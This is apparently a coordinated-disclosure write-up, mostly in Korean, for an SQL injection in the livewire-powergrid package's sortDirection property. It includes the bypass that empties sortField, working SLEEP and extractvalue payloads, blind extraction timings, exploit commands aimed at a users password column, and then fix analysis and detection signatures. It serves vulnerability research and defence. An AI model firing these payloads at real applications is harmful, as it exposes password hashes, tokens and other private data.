
CVE-2026-65971에 대한 개념 증명 및 기술 문서 — power-components/livewire-powergrid (< 6.10.4)의 sortDirection Livewire 속성을 통한 SQL 인젝션
sortDirection을 통한 SQL 인젝션CVE-2026-65971 / GHSA-7fgc-3h6c-698r에 대한 개념 증명 및 전체 기술 문서입니다. 이는 power-components/livewire-powergrid의 SQL 인젝션으로, 공개된 Livewire 속성 sortDirection을 통해 접근 가능합니다.
| CVE | CVE-2026-65971 |
| GHSA | GHSA-7fgc-3h6c-698r |
| 패키지 | power-components/livewire-powergrid (Composer / Packagist) |
| 영향받는 버전 | >= 6.0.0, < 6.10.4 |
| 패치된 버전 | 6.10.4 |
| 취약점 유형 | CWE-89 — SQL 명령에 사용되는 특수 요소의 부적절한 중화 |
| 심각도 | 7.6 높음 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
| 보고자 | Caio Fabrício (@BiiTts) |
| 공개 방식 | 조정된 공개, GitHub 비공개 보안 권고를 통해 |
| ├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction | |
| ├── lab/ build the vulnerable app to reproduce it yourself | |
| ├── evidence/EVIDENCE.txt raw lab notes from confirmation | |
| ├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix | |
| └── detection/ Sigma rules + Nuclei template for defenders |
---
## 🧠 요약
PowerGrid는 Laravel + Livewire용 데이터테이블 컴포넌트입니다 (~2k stars, Laravel 관리자 패널에서 널리 사용됨). 정렬 상태는 두 개의 **public Livewire properties**에 위치합니다:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';
In Livewire에서 public 프로퍼티는 컴포넌트의 wire format의 일부입니다 — 컴포넌트에 접근 가능한 클라이언트는 POST /livewire/update를 통해 이를 설정할 수 있습니다. 이는 의도된 설계이며, 보안 경계는 서버가 해당 값을 어떻게 처리하는지에 있습니다.
PowerGrid의 naturalSort() 기능은 리터럴 플레이스홀더 {sortDirection}을 포함하는 원시 ORDER BY 표현식을 생성하며, 파이프라인은 이 플레이스홀더를 원시, 검증되지 않은 프로퍼티 값으로 대체한 후 문자열을 orderByRaw()에 전달합니다. 따라서 방향 키워드는 SQL 내부에 그대로 삽입됩니다.
Laravel 자체의 orderBy()는 asc/desc가 아닌 것은 거부하며, 이 검증이 일반적인 정렬 경로를 안전하게 만듭니다. 버그는 동일한 절에 대한 두 번째 검증되지 않은 경로가 존재하며 — 공격자가 검증을 완전히 건너뛰고 이 경로에 도달할 수 있다는 것입니다 (우회 경로 참조).
결과: ORDER BY 절에서의 임의 SQL로, 데이터베이스 사용자가 읽을 수 있는 모든 데이터를 읽기 위한 블라인드 불리언/시간 기반 오라클로 악용 가능합니다.
naturalSort를 사용하는 PowerGrid 테이블에 접근할 수 있는 모든 사용자는 데이터베이스의 임의 데이터 — 다른 테이블, 비밀번호 해시, 세션 토큰, API 키, 교차 테넌트 레코드 — 를 시간 기반/불리언 오라클을 통해 읽을 수 있습니다.
SELECT할 수 있는 모든 것의 전체 읽기.; UPDATE ...는 실행되지 않습니다. 쓰기 영향은 서브쿼리가 트리거할 수 있는 것으로 제한됩니다.SLEEP() 및 무거운 서브쿼리를 제공합니다 — 데이터베이스 스레드를 고정시키는 데 쉽게 악용 가능.필요 권한은 PR:L입니다. 데이터테이블은 일반적으로 애플리케이션 인증 뒤에 있기 때문입니다. 영향을 받는 테이블이 인증되지 않은 페이지에 렌더링되는 경우, PR:N → 8.2 높음으로 다시 계산합니다.
세 개의 파일, 세 단계. 모든 참조는 취약한 태그 v6.10.3에 대한 것입니다.
`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13
두 속성 모두 허용 목록, 유효성 검사 규칙 또는 정규화 설정자가 없습니다. `sortDirection`은 할당되거나 뒤집힐 뿐입니다:```php
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
updatedSortDirection() (103번째 줄)이 존재합니다 — 검증이 이루어져야 할 자연스러운 위치입니다 — 하지만 v6.10.3에서는 지연 로딩 부기만 처리합니다. 이 메서드는 값을 검사하지 않습니다.
Livewire가 요청에서 바로 공개 속성을 채우기 때문에, sortDirection은 이 시점에서 완전히 공격자에 의해 제어되는 임의의 문자열입니다.
naturalSort() plants a placeholdersrc/Providers/Macros.php, lines 102–116 — the naturalSort column macro:```php
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
`Sql::sortStringAsNumber()`는 `src/DataSource/Support/Sql.php` (60–100행)에 있는 `getSortSqlByDriver()`가 구축한 드라이버별 표현식으로 해석됩니다. 모든 드라이버 변형은 동일한 리터럴 플레이스홀더로 끝납니다:```php
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
취약점은 드라이버 독립적입니다 — 모든 분기에서 {sortDirection}을 보간합니다.
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
그리고 실행, line 52:```php
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
data_get($this->component, 'sortDirection')는 공격자의 문자열을 반환하고, preg_replace_callback은 이를 SQL 텍스트에 짜넣으며, orderByRaw() — 계약에 따라 인수를 이스케이프하지 않음 — 는 이를 데이터베이스에 전달합니다.
아래 한 줄의 쓰라린 아이러니를 주목하세요: resolveBindings() (69행)이 존재하고, naturalSort는 'bindings' => []를 선언합니다. 안전한 매개변수화 메커니즘이 바로 거기에 있습니다. 방향 키워드에는 사용할 수 없습니다 — ORDER BY x ?는 유효한 SQL이 아니며, 방향은 절대 바인딩된 매개변수가 될 수 없습니다 — 그래서 정확히 방향 키워드는 반드시 허용 목록에 포함되어야 합니다.
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
---
## 🔓 우회 — 라라벨의 유효성 검사가 당신을 구하지 못하는 이유
이 부분이 "원시 문자열 보간법"을 실제로 악용 가능한 버그로 만드는 부분이며, 이것이 성숙하고 널리 사용되는 패키지에서 이 문제가 살아남은 이유입니다.
PowerGrid는 **파이프라인**을 통해 쿼리를 처리합니다. 파이프라인의 두 단계가 정렬 방향을 건드립니다.
**`Sorting` 파이프라인** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
orderBy()는 Laravel의 유효성 검사 API입니다. asc/desc 이외의 값을 주면 다음과 같은 오류가 발생합니다:```
InvalidArgumentException: Order direction must be "asc" or "desc".
So on the normal path — user clicks a column header, `sortField=name`, `sortDirection=<payload>` — the framework blocks the injection. A quick audit stops here and concludes "mitigated by Laravel".
**`ColumnRawQueries` pipeline** — the second stage, shown above — has **no such guard**. Look at its `handle()` (lines 21–27): it iterates the columns, and for every column carrying `rawQueries` it applies them *unconditionally*. It never consults `sortField`. It never consults the `Sorting` pipeline's outcome.
That asymmetry is the bug:
| `sortField` | `Sorting` pipeline | `ColumnRawQueries` pipeline | Outcome |
|---|---|---|---|
| `"name"` (filled) | runs → `orderBy()` **validates** → throws on payload | runs → injects | ❌ blocked by the exception |
| `""` (empty) | `filled('')` is `false` → **skipped entirely** | runs → injects | ✅ **injection lands** |
Setting **`sortField` to an empty string** makes the validating stage skip itself, while the raw stage still emits the `naturalSort` `ORDER BY` with the attacker's `{sortDirection}` in it. Laravel's validation is never invoked, because the code path containing it never executes.
**The full attack is therefore two fields, not one:** `sortDirection` carries the payload, and `sortField=""` is the key that unlocks the door.
---
## 🎯 The exact fields
Everything happens through Livewire's standard update endpoint. No special headers, no custom route, no admin function.
**Endpoint:** `POST /livewire/update`
**Body (JSON):**
{ "components": [ ... ], "updates": [ { "type": "syncInput", "payload": { "sortDirection": "(SELECT 1 FROM SLEEP(2))--" } }, { "type": "syncInput", "payload": { "sortField": "" } } ] }
{
"_token": "<CSRF token from the page>",
"components": [
{
"snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
```
| 필드 | 역할 | 값 |
|---|---|---|
| `components[0].updates.sortDirection` | **주입 지점** | 유효한 방향을 접두사로 붙여 절이 구문적으로 완전성을 유지하도록 한 SQL 페이로드 |
| `components[0].updates.sortField` | **우회 키** | `""` — 비어 있음, 유효성 검사 `Sorting` 파이프라인을 건너뛰기 위해 |
| `components[0].snapshot` | 내부 처리 | Livewire 컴포넌트 상태; 페이지 HTML의 `wire:snapshot="..."`에서 추출 (HTML 언이스케이프 필요) |
| `_token` / `X-CSRF-TOKEN` | 내부 처리 | 페이지의 `data-csrf="..."` 또는 `"csrf":"..."` 블롭에서 추출 |
**결과 SQL** (MariaDB lab, `rooms` 테이블, `naturalSort`가 적용된 `name` 컬럼):```sql
select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
```
The payload sits in a full expression slot of the `ORDER BY` list, which is why a bare subquery
works and why the clause remains valid SQL.
---
## 🔬 발견 방법 — 코드를 통한 경로
아래 순서는 실제 추론 순서이며, 조사가 오탐(false positive)으로 종료될 뻔한 단계를 포함합니다.
**1. 공격 표면 먼저: Livewire 공용 속성은 공격자 입력입니다.**
프레임워크의 자체 모델은 컴포넌트의 모든 `public` 속성이 `/livewire/update`를 통해 클라이언트가 쓸 수 있다고 말합니다. 따라서 모든 Livewire 패키지에 대한 감사 질문은 "사용자 입력이 있는가?"가 아니라 "어떤 공용 속성이 위험한 싱크에 도달하는가?"입니다. PowerGrid의 공용 속성을 열거했을 때 `$sortField`와 `$sortDirection`이 SQL로 구성되기 위해 특별히 존재하는 속성으로 눈에 띄었습니다.
**2. 각 싱크로 추적.** 패키지에서 raw-SQL API(`orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw`)를 grep하여 해당 속성을 받을 수 있는 API를 찾았습니다. `Macros.php`의 `naturalSort`에 있는 `'method' => 'orderByRaw'`가 적중했습니다.
**3. 속성과 싱크 간의 연결 찾기.** `Sql.php`의 raw SQL은 `$this->sortDirection`을 참조하지 않았습니다. 대신 리터럴 문자열 `{sortDirection}`을 포함했습니다. 이러한 템플릿화는 어딘가에 해석기가 있음을 의미합니다. 중괄호 패턴을 grep한 결과 `ColumnRawQueries::resolvePlaceholders()`와 그 안의 `data_get($this->component, $property, '')` — 이스케이프 없는 일반 속성 읽기 — 가 발견되었습니다. 이제 소스와 싱크가 연결되었습니다.
**4. 거의 무산될 뻔한 단계: 완화 조치.** 첫 번째 실제 시도 — `sortDirection`에 페이로드를 설정하고 실행 — 누출이 아닌 `InvalidArgumentException: Order direction must be "asc" or "desc".`가 발생했습니다. Laravel의 `orderBy()`가 이를 잡아낸 것입니다. 여기서 유혹적인 결론은 *"프레임워크가 완화하므로 악용 불가능"* 이지만, 그 결론은 틀렸을 것입니다.
**5. 예외가 발생한 원인을 묻기, 그냥 발생했다는 사실만이 아니라.** 추적 결과 `Sorting` 파이프라인의 `orderBy()`를 가리켰습니다 — 2단계에서 식별된 `orderByRaw()` 싱크와 **다른 단계**입니다. 두 단계, 동일한 `ORDER BY`에 대한 두 개의 독립적인 쓰기 중 하나만 유효성 검사를 수행합니다. 이로 인해 질문이 "Laravel의 유효성 검사기를 무력화할 수 있는가?" (아니요 — 엄격한 비교입니다)에서 **"유효성 검사 단계를 실행하지 않고 raw 단계에 도달할 수 있는가?"** 로 바뀌었습니다.
**6. 가드 읽기.** 유효성 검사 단계는 `if (filled($this->component->sortField))` 아래에서 실행됩니다. `filled('')`는 `false`입니다. raw 단계에는 가드가 전혀 없습니다. 우회는 직접적인 결과였습니다: `sortField=""`를 보내면 가드되지 않은 단계만 실행됩니다.
**7. 경험적으로 두 번, 독립적인 기법으로 확인.** 단일 양성 신호는 발견이 아닙니다 — 시간 차이는 속도 제한기일 수 있고, 오류는 일반 500일 수 있습니다. 오류 기반 증명(데이터베이스가 주입된 서브쿼리를 그대로 에코)과 시간 기반 부울 오라클(실제 데이터에서 TRUE와 FALSE를 구별)이 모두 필요했습니다. [증거](#-evidence)를 참조하세요.
**일반화 가능한 교훈:** 프레임워크 수준의 완화는 그것이 위치한 코드 경로만 보호합니다. 두 파이프라인 단계가 동일한 SQL 절에 쓸 때, "프레임워크가 검증한다"는 것은 그 중 하나에 대한 주장입니다. 항상 검증이 실제로 어느 단계에 있는지, 그리고 위험한 단계가 단독으로 실행될 수 있는지 물어보세요.
---
## 🧪 증거
실험실: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, `name` 열이 `->naturalSort(true)`를 선언하는 `RoomTable` PowerGrid 컴포넌트와 `secret` 열을 포함하는 `rooms` 테이블을 사용합니다. 전체 실험실은 [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/lab)에 있습니다.
**오류 기반 — 주입된 서브쿼리가 DB에 그대로 도달함** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
```
데이터베이스는 공격자가 제공한 `SELECT`를 `ORDER BY` 내에서 구문 분석하고 실행했습니다. 이는 명백한 인젝션 증거입니다 — 오류 텍스트에는 제출된 SQL이 아닌 실행된 주입된 SQL이 포함되어 있습니다.
**블라인드 시간 기반 — 임의 데이터 추출:**```
asc -> 0.02s baseline
asc, (SELECT SLEEP(3)) -> 9.04s injection executes
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
```
TRUE/FALSE 쌍은 '무언가 느리다'에서 '데이터를 읽을 수 있다'로 업그레이드하는 요소입니다.
동일한 요청 형태가 공격자가 볼 수 없는 값의 조건에 따라 명확히 분리된 두 가지 타이밍을 반환합니다.
이것은 작동하는 오라클이며, `poc/exploit_powergrid_sqli.py`가 이를 문자별로 탐색합니다.
> `SLEEP(3)`은 ~3초가 아니라 ~9초가 소요됩니다. 정렬이 여러 행에 걸쳐 슬리핑 표현식을 적용하기 때문입니다 — 더 약한 신호가 아니라 더 강한 신호입니다.
원시 노트: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/main/evidence/EVIDENCE.txt).
---
## ⚙️ 개념 증명
의존성 없음, Python 3 표준 라이브러리만 사용.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
```
다음과 같이 수행합니다:
1. `GET`을 사용하여 페이지를 가져오고 CSRF 토큰 및 PowerGrid 컴포넌트의 `wire:snapshot`을 스크래핑합니다;
2. 정상적인 `sortDirection=asc` 요청의 시간을 기준으로 측정합니다;
3. `sortField="" / sortDirection="asc, (SELECT SLEEP(3))"`를 실행하고 시간을 비교합니다;
4. 델타가 실행을 확인하면 부울 오라클을 통해 문자별로 데이터를 추출합니다.
유용한 플래그:```bash
# non-destructive check only — verify vulnerable/patched, no data extraction
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
# choose what to extract
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
# authenticated targets (datatables usually sit behind login)
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
```
패치된 `6.10.4` 대상에 대해 스크립트는 시간 델타가 없다고 보고하고 깔끔하게 종료됩니다 —
허용 목록은 모든 페이로드를 `asc`로 축소합니다.
---
## ✅ Fix analysis (`v6.10.4`)
유지보수자들은 **4개의 호출 지점에 걸친 심층 방어**를 제공했습니다 —
이러한 유형의 버그에 적합한 형태입니다. 프리미티브:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
```
안전한 기본값을 가진 엄격한 허용 목록 — 블랙리스트, 이스케이프, 정규식이 아닙니다. 바인딩 파라미터가 될 수 없는 키워드의 경우, 이 방법만이 올바른 제어 방식입니다.
적용 위치:
1. **`ColumnRawQueries::resolvePlaceholders()`** — 싱크(sink). 이제 `{sortDirection}`은 특별 케이스로 처리되어 일반적인 `data_get()`을 통하지 않고 `sanitizeSortDirection()`을 통해서만 해결됩니다.
2. **`Concerns\Sorting::updatedSortDirection()`** — Livewire 훅. 쓰기 시 위생 처리되어 속성 자체가 더 이상 페이로드를 보유할 수 없습니다.
3. **`Concerns\Sorting::sortBy()`** — 방향 인수를 위생 처리합니다.
4. **`Pipelines\Sorting::applySingleSort()` / `applyMultipleSort()`** — 사용자가 제공한 `sortUsing` 콜백을 처리합니다. 이 콜백은 자체 `orderByRaw`를 생성할 수 있습니다. 이로 인해 원래 보고된 경로 외에 **두 번째 관련 경로**가 차단되었습니다.
회귀 테스트가 추가되었습니다: `tests/Feature/SortDirectionInjectionTest.php`와 `DishesNaturalSortTable` 픽스처.
**릴리스 태그에서 패치 검증 수행** (약속이 아닌): `v6.10.4`를 클론하고 모든 원시 방향 싱크를 grep 처리하고, 테스트 스위트를 실행(30/30 통과)했으며, 17개의 페이로드로 `sanitizeSortDirection()`을 퍼징했습니다 — 어드바이저리의 시간 기반 페이로드, 널 바이트, SQL 주석, 16진수 리터럴, 대소문자 혼합, 공백 패딩, 유니코드. 모두 `asc` 또는 `desc`로 축소됩니다. 나머지 싱크(`WithExport`/`ExportableJob`을 통한 내보내기, Scout)는 `orderByRaw()` 대신 검증된 `orderBy()`를 거치며 주입이 불가능합니다.
**결과: 패치됨.**
diff의 보안 관련 부분은 [`patch/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/patch/security-fix-v6.10.4.diff)에 있습니다.
---
## 🛡️ 수정 및 탐지
### PowerGrid를 사용하는 경우```bash
composer require power-components/livewire-powergrid:^6.10.4
composer audit
```
**업그레이드 — 우회하려 하지 마십시오.** 오늘 진정으로 업그레이드할 수 없다면, 임시 완화 조치는 구성 요소 자체에서 정화하는 것입니다:```php
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
```
이는 임시방편입니다. 업그레이드하세요.
### 영향을 받았나요?
전제 조건은 `naturalSort`를 선언하는 열이 하나 이상 있어야 합니다:```bash
grep -rn "naturalSort" app/ resources/
```
No `naturalSort` 열이 없다는 것은 원시 `ORDER BY`가 등록되지 않으며, 기본 경로에 도달할 수 없음을 의미합니다. `v6.10.4`에서는 `sortUsing` 콜백 경로도 강화되었습니다. 사용자 정의 정렬 콜백이 방향에서 원시 SQL을 빌드하는 경우, `naturalSort` 유무와 관계없이 해당 경로를 통해서도 노출됩니다.
### 악용 탐지
공격은 일반적인 Livewire 요청처럼 보입니다. 경고할 특이한 엔드포인트나 메서드는 없습니다. `sortDirection`의 **값**을 확인하세요. 합법적인 트래픽은 항상 `asc` 또는 `desc`만 보냅니다.
그 외의 값은 정의상 비정상입니다. 실용적인 신호는 다음과 같습니다.
- JSON 본문에 `"sortDirection"` 값이 정확히 `asc`/`desc`(대소문자 구분 안 함)가 아닌 `POST /livewire/update` 요청 — 높은 정확도, 거의 제로에 가까운 오탐(false positive)
- 동일한 요청이 `"sortField":""`(비어 있음)과 함께 중요하지 않은 `sortDirection`을 전달하는 경우 — 정확한 우회 시그니처
- 해당 값에 포함된 SQL 키워드: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`
- `order by`를 참조하는 `SQLSTATE[HY000] 1105` 또는 `SQLSTATE[42000]` 오류가 포함된 애플리케이션 오류 로그
- 응답 시간이 이중 모드(빠름/느림)로 군집화된 동일한 형태의 POST 요청 버스트 — 블라인드 오라클이 탐색되고 있음
두 개의 Sigma 규칙이 [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/main/detection/sortdirection-sqli.yml)에 제공됩니다. 하나는 요청 본문에 대한 것이고, 다른 하나는 본문 로깅이 불가능한 경우 데이터베이스 오류 시그니처에 대한 것입니다. 도달 가능한 PowerGrid 컴포넌트(전제 조건 표면)를 플래그하는 Nuclei 템플릿은 [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/main/detection/nuclei-powergrid-sortdirection-sqli.yaml)에 있습니다. 적중이 확인되면 `poc/exploit_powergrid_sqli.py --check-only`로 확인하세요.
---
## 📚 참고 자료
- GitHub Security Advisory — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- 수정 릴리스 — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- 수정 diff — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [SQL 명령에 사용되는 특수 요소의 부적절한 중립화](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [속성은 클라이언트에서 쓸 수 있음](https://livewire.laravel.com/docs/properties#security-concerns)
---
## ⚖️ 법적 고지
조정된 공개, 출시된 패치 및 공개된 공급업체 권고 이후에 게시되었습니다. PoC는 [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/lab)의 로컬 랩을 대상으로 하며, 자신의 노출을 확인하는 방어자와 버그 클래스를 연구하는 연구자를 위한 것입니다. 테스트 권한이 없는 시스템에 대해 실행하는 것은 불법입니다. 귀하는 이를 사용하여 발생하는 모든 책임을 집니다.
---
**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)